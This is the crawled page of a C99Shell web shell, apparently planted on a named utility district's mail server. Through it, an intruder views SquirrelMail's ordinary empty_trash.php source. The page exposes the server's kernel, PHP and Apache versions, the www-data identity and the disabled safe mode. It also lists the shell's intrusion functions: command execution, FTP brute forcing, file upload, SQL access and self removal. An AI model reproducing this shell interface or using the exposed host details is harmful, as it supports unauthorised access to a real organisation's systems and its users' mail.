!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/squirrelmail/src/   drwxr-xr-x
Free 130.02 GB of 142.11 GB (91.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     empty_trash.php (2.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * empty_trash.php
 *
 * Handles deleting messages from the trash folder without
 * deleting subfolders.
 *
 * @copyright 1999-2010 The SquirrelMail Project Team
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 * @version $Id: empty_trash.php 13893 2010-01-25 02:47:41Z pdontthink $
 * @package squirrelmail
 */

/** This is the empty_trash page */
define('PAGE_NAME''empty_trash');

/**
 * Path for SquirrelMail required files.
 * @ignore
 */
define('SM_PATH','../');

/* SquirrelMail required files. */
require_once(SM_PATH 'include/validate.php');
require_once(
SM_PATH 'functions/display_messages.php');
require_once(
SM_PATH 'functions/imap.php');
require_once(
SM_PATH 'functions/tree.php');

/* get those globals */

sqgetGlobalVar('username'$usernameSQ_SESSION);
sqgetGlobalVar('key'$keySQ_COOKIE);
sqgetGlobalVar('delimiter'$delimiterSQ_SESSION);
sqgetGlobalVar('onetimepad'$onetimepadSQ_SESSION);

/* finished globals */

// first do a security check
if (!sqgetGlobalVar('smtoken',$submitted_tokenSQ_FORM))
    
$submitted_token '';
sm_validate_security_token($submitted_token3600TRUE);

$imap_stream sqimap_login($username$key$imapServerAddress$imapPort0);

sqimap_mailbox_list($imap_stream);

$mailbox $trash_folder;
$boxes sqimap_mailbox_list($imap_stream);

/*
 * According to RFC2060, a DELETE command should NOT remove inferiors (sub folders)
 *    so lets go through the list of subfolders and remove them before removing the
 *    parent.
 */

/** First create the top node in the tree **/
$numboxes count($boxes);
$foldersTree = array();
for (
$i 0$i $numboxes$i++) {
    if ((
$boxes[$i]['unformatted'] == $mailbox) && (strlen($boxes[$i]['unformatted']) == strlen($mailbox))) {
        
$foldersTree[0]['value'] = $mailbox;
        
$foldersTree[0]['doIHaveChildren'] = false;
        continue;
    }
}
/*
 * Now create the nodes for subfolders of the parent folder
 * You can tell that it is a subfolder by tacking the mailbox delimiter
 *    on the end of the $mailbox string, and compare to that.
 */
$j 0;
for (
$i 0$i $numboxes$i++) {
    if (
substr($boxes[$i]['unformatted'], 0strlen($mailbox $delimiter)) == ($mailbox $delimiter)) {
        
addChildNodeToTree($boxes[$i]['unformatted'], $boxes[$i]['unformatted-dm'], $foldersTree);
    }
}

// now lets go through the tree and delete the folders
walkTreeInPreOrderEmptyTrash(0$imap_stream$foldersTree);
sqimap_logout($imap_stream);

// close session properly before redirecting
session_write_close();

$location get_location();
// force_refresh = 1 in case trash contains deleted mailboxes
header ("Location: $location/left_main.php?force_refresh=1");


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0213 ]--